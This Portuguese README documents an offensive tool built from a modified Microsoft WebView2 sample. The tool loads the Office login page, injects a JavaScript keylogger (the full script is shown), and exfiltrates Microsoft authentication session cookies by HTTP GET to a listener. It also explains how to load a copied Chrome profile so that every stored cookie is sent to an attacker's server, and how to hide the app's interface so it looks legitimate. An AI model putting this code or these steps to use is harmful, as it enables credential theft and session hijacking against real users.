
Injeta um keylogger JavaScript em páginas WebView2 para capturar teclas e exfiltrar cookies de sessões de autenticação da Microsoft via requisições HTTP GET.
Por favor, leia esta postagem do blog para obter mais informações.
Este código é uma versão modificada do Código WebView2 da Microsoft. O código atual pode ser limpo e melhorado significativamente.
Testado no Windows 10 e 11.
Quando o binário é executado, https://office.com/login é carregado. Um keylogger JavaScript é injetado em todas as páginas e as teclas digitadas são enviadas para http://127.0.0.1:8080. Além disso, após o usuário autenticar com sucesso, os cookies de login.microsoftonline.com são codificados em base64 e enviados para http://127.0.0.1:8080 através de uma requisição HTTP GET.
Se você deseja modificar o JavaScript, o código que precisa ser alterado é mostrado abaixo na linha 1096 do arquivo AppWindow.cpp.
coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);
O WebView2 permite que você inicie com uma Pasta de Dados do Usuário (UDF) existente, em vez de criar uma nova. A UDF contém todas as senhas, sessões, favoritos, etc. A UDF do Chrome está localizada em C:\Users\<username>\AppData\Local\Google\Chrome\User Data. Podemos simplesmente instruir o WebView2 a iniciar a instância usando este perfil e, após a inicialização, extrair todos os cookies e transferi-los para o servidor do atacante.
A única ressalva é que o WebView2 procura por uma pasta chamada EBWebView em vez de User Data (não se sabe o motivo). Copie a pasta User Data e renomeie-a para EBWebView.
Na linha 41 do arquivo app.cpp:
std::wstring userDataFolder(L""); para std::wstring userDataFolder(L"C:\\Path\\To\\Temp");EBWebView da qual o WebView2 fará a leitura.Na linha 40 do arquivo ScenarioCookieManagement.cpp:
GetCookiesHelper(L"https://login.microsoftonline.com"); para GetCookiesHelper(L"");Quando GetCookiesHelper é invocado sem nenhum site especificado, ele extrairá todos os cookies.
Nota: Isso não funcionará com o aplicativo atual se houver uma grande quantidade de cookies, pois o aplicativo os envia usando uma requisição GET que possui um limite de tamanho.
Se você deseja fazer modificações no binário, encontrará informações sobre as funções importantes abaixo.
GetUri() contém a URL que é carregada na execução do binário.SendCookies() contém o endereço IP e a porta para onde os cookies são enviados.CallCookieFunction() aguarda até que a URL comece com https://www.office.com/?auth= e chama ScenarioCookieManagement::GetCookiesHelper(L"https://login.microsoftonline.com")POPUP como "".IDS_APP_TITLE e IDC_WEBVIEW2APISAMPLE. Este é o nome do aplicativo na barra de título.IDI_WEBVIEW2APISAMPLE, IDI_WEBVIEW2APISAMPLE_INPRIVATE e IDI_SMALL. Eles apontam para um arquivo que é o ícone deste aplicativo..icoitemHeight deve ser definido como 0 para remover o menu superior. Isso já foi tratado neste código.LoadImage() deve ser comentado. Isso oculta a imagem de tela inicial azul. Isso já foi tratado neste código.new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false); altere o último valor do parâmetro para true. Isso oculta a barra de ferramentas. Isso já foi tratado neste código.